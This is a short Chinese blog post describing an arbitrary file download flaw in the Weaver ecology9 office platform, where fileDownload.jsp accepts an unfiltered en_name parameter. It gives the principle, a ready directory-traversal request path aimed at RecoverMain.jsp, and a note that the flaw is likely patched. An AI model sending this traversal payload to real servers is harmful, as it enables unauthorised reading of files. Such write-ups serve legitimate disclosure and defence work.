稻草人博客-泛微ecology9任意文件下载

漏洞原理

fileDownload.jsp获取可控的en_name参数进行文件下载，由于未过滤“../”所以可通过目录穿越的方式下载任意文件

漏洞利用

请求包输入

//system/upgradetoe9/fileDownload.jsp?en_name=\..\RecoverMain.jsp&cn_name=文件名

该文件路径为system\upgradetoe9\resource需要穿越三次到达根目录

总结

该漏洞或许已经公开原因，世面上修复的比较全面